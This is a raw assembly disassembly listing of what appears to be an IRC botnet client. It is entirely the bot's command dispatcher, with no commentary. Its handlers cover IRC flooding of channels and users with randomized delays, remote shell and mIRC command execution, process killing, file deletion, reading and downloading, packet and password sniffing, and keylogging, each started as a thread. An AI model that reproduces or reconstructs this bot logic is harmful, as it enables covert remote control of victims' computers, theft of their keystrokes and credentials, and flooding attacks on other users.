		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h
		call	_rand
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405B36:				; CODE XREF: sub_40274D+32C8j
					; sub_40274D+32D2j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aDcc	; "dcc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405BC6
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	short loc_405BC6
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+4Ch+Dst]
		push	edx
		push	[ebp+esi+4Ch+Format]
		push	offset aPrivmsgS_0 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h


loc_405BC6:				; CODE XREF: sub_40274D+33FAj
					; sub_40274D+3400j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405CC0
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		jz	loc_405CC0
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+4Ch+var_4C4]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405CC0:				; CODE XREF: sub_40274D+348Aj
					; sub_40274D+3496j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aChgnick	; "chgnick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_405D06
		lea	eax, [ebp+4Ch+var_17D8]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+4Ch+var_17D8]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405D06:				; CODE XREF: sub_40274D+3584j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aMsg	; "msg"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405DE3
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	loc_405DE3
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405DE3:				; CODE XREF: sub_40274D+35CAj
					; sub_40274D+35D4j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aNotice_0 ; "notice"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405EC0
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	loc_405EC0
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 24h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_405EC0:				; CODE XREF: sub_40274D+36A7j
					; sub_40274D+36B1j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aCtcp	; "ctcp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_405FC2
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	loc_405FC2
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 20h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS_2 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 10h


loc_405FC2:				; CODE XREF: sub_40274D+3784j
					; sub_40274D+378Ej
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aMix	; "mix"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4060D3
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	loc_4060D3
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 20h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_4060D3:				; CODE XREF: sub_40274D+3886j
					; sub_40274D+3890j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aRegister ; "register"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406113
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		jz	short loc_406113
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	sub_41A24C
		add	esp, 14h


loc_406113:				; CODE XREF: sub_40274D+3997j
					; sub_40274D+399Fj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406CD6
		mov	edi, offset dword_4DB58C


loc_40612F:				; CODE XREF: sub_40274D+3A01j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_406142
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_406142
		push	eax
		call	dword_444218	; closesocket


loc_406142:				; CODE XREF: sub_40274D+39E6j
					; sub_40274D+39ECj
		add	edi, 210h
		cmp	edi, offset dword_4E1CAC
		jl	short loc_40612F
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_406CD6
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset unk_42E784 ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_406CD6
; ---------------------------------------------------------------------------


loc_406175:				; CODE XREF: sub_40274D+2F7Aj
		mov	edi, [ebp+4Ch+var_10]
		push	edi		; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409FBE
		push	edi		; Str2
		push	offset aN	; "n"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409FBE
		push	edi		; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F95
		push	edi		; Str2
		push	offset aJ	; "j"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F95
		push	edi		; Str2
		push	offset aPart_0	; "part"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F7B
		push	edi		; Str2
		push	offset aPt	; "pt"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F7B
		push	edi		; Str2
		push	offset aRaw	; "raw"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F45
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409F45
		push	edi		; Str2
		push	offset aKillthread ; "killthread"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409E9F
		push	edi		; Str2
		push	offset aK	; "k"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409E9F
		push	edi		; Str2
		push	offset aC_quit	; "c_quit"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409DF1
		push	edi		; Str2
		push	offset aC_q	; "c_q"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409DF1
		push	edi		; Str2
		push	offset aC_rndnick ; "c_rndnick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D7C
		push	edi		; Str2
		push	offset aC_rn	; "c_rn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D7C
		push	edi		; Str2
		push	offset aPrefix	; "prefix"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D63
		push	edi		; Str2
		push	offset aPr	; "pr"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D63
		push	edi		; Str2
		push	offset aOpen	; "open"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D35
		push	edi		; Str2
		push	offset aO	; "o"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D35
		push	edi		; Str2
		push	offset aServer_1 ; "server"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D0C
		push	edi		; Str2
		push	offset aSe	; "se"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409D0C
		push	edi		; Str2
		push	offset aDns	; "dns"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409CA4
		push	edi		; Str2
		push	offset aDn	; "dn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409CA4
		push	edi		; Str2
		push	offset aKillproc ; "killproc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409C74
		push	edi		; Str2
		push	offset aKp	; "kp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409C74
		push	edi		; Str2
		push	offset aKill	; "kill"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409C18
		push	edi		; Str2
		push	offset aKi	; "ki"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409C18
		push	edi		; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409BDD
		push	edi		; Str2
		push	offset aDel	; "del"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409BDD
		push	edi		; Str2
		push	offset aGet_1	; "get"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409B06
		push	edi		; Str2
		push	offset aGt	; "gt"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409B06
		push	edi		; Str2
		push	offset aList	; "list"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409AEA
		push	edi		; Str2
		push	offset aLi	; "li"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409AEA
		push	edi		; Str2
		push	offset aVisit	; "visit"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409A00
		push	edi		; Str2
		push	offset aV	; "v"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409A00
		push	edi		; Str2
		push	offset aMirccmd	; "mirccmd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40998D
		push	edi		; Str2
		push	offset aMirc	; "mirc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40998D
		push	edi		; Str2
		push	offset aCmd	; "cmd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409937
		push	edi		; Str2
		push	offset aCm	; "cm"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409937
		push	edi		; Str2
		push	offset aReadfile ; "readfile"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4098AF
		push	edi		; Str2
		push	offset aRf	; "rf"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4098AF
		push	edi		; Str2
		push	offset aPsniff	; "psniff"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406608
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4065CE
		push	20h
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_406502
		push	offset dword_42E688
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_406502:				; CODE XREF: sub_40274D+3DA9j
		mov	eax, [ebp+4Ch+arg_4]
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		mov	[ebp+4Ch+var_FF4], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_F6C], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_F68], eax
		jnz	short loc_40653E
		push	offset byte_42B633 ; Str2
		mov	esi, offset a_fast__2 ;	"#.fast.#"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40653E
		mov	esi, [ebp+4Ch+Format]


loc_40653E:				; CODE XREF: sub_40274D+3DD6j
					; sub_40274D+3DECj
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_FF0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42E658 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	20h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_F70], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_FF4]
		push	eax
		push	offset sub_414ECA
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_F70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4065C1
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E61C
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4065B9:				; CODE XREF: sub_40274D+3E7Aj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4065C1:				; CODE XREF: sub_40274D+3E59j
		cmp	[ebp+4Ch+var_F64], ebx
		jz	short loc_4065B9
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_4065CE:				; CODE XREF: sub_40274D+3D99j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40698D
		push	ebx
		push	20h
		call	sub_40B028
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jle	short loc_4065FE
		push	eax
		push	offset dword_42E5E0
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4065FE:				; CODE XREF: sub_40274D+3EA4j
		push	offset dword_42E5B4
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_406608:				; CODE XREF: sub_40274D+3D82j
		push	edi		; Str2
		push	offset aSniffer	; "sniffer"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406750
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406716
		push	21h
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_40664A
		push	offset unk_42E58C
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_40664A:				; CODE XREF: sub_40274D+3EF1j
		mov	eax, [ebp+4Ch+arg_4]
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		mov	[ebp+4Ch+var_ECC], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_E44], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_E40], eax
		jnz	short loc_406686
		push	offset byte_42B633 ; Str2
		mov	esi, offset a_fast__2 ;	"#.fast.#"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406686
		mov	esi, [ebp+4Ch+Format]


loc_406686:				; CODE XREF: sub_40274D+3F1Ej
					; sub_40274D+3F34j
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_EC8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42E55C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	21h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_E48], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_ECC]
		push	eax
		push	offset sub_41549E
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_E48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_406709
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E520
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_406701:				; CODE XREF: sub_40274D+3FC2j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_406709:				; CODE XREF: sub_40274D+3FA1j
		cmp	[ebp+4Ch+var_E3C], ebx
		jz	short loc_406701
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_406716:				; CODE XREF: sub_40274D+3EE1j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40698D
		push	ebx
		push	21h
		call	sub_40B028
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jle	short loc_406746
		push	eax
		push	offset unk_42E4E0
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_406746:				; CODE XREF: sub_40274D+3FECj
		push	offset unk_42E4AC
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_406750:				; CODE XREF: sub_40274D+3ECAj
		push	edi		; Str2
		push	offset aIdent	; "ident"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406825
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4067EB
		push	2
		call	sub_40B075
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+4Ch+Dst]
		jle	short loc_406794
		push	offset dword_42E484
		jmp	loc_4078CF
; ---------------------------------------------------------------------------


loc_406794:				; CODE XREF: sub_40274D+403Bj
		push	offset asc_42E458 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	2		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41321D
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4444FC[esi], eax
		jnz	loc_40698D
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E424
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_4067EB:				; CODE XREF: sub_40274D+4029j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40698D
		push	ebx
		push	2
		call	sub_40B028
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jle	short loc_40681B
		push	eax
		push	offset dword_42E3EC
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_40681B:				; CODE XREF: sub_40274D+40C1j
		push	offset dword_42E3CC
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_406825:				; CODE XREF: sub_40274D+4012j
		push	edi		; Str2
		push	offset aKeylog	; "keylog"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4069C6
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	edi, offset aFile ; "file"
		jz	short loc_40689B
		push	[ebp+4Ch+var_8]	; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40689B
		push	[ebp+4Ch+var_8]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
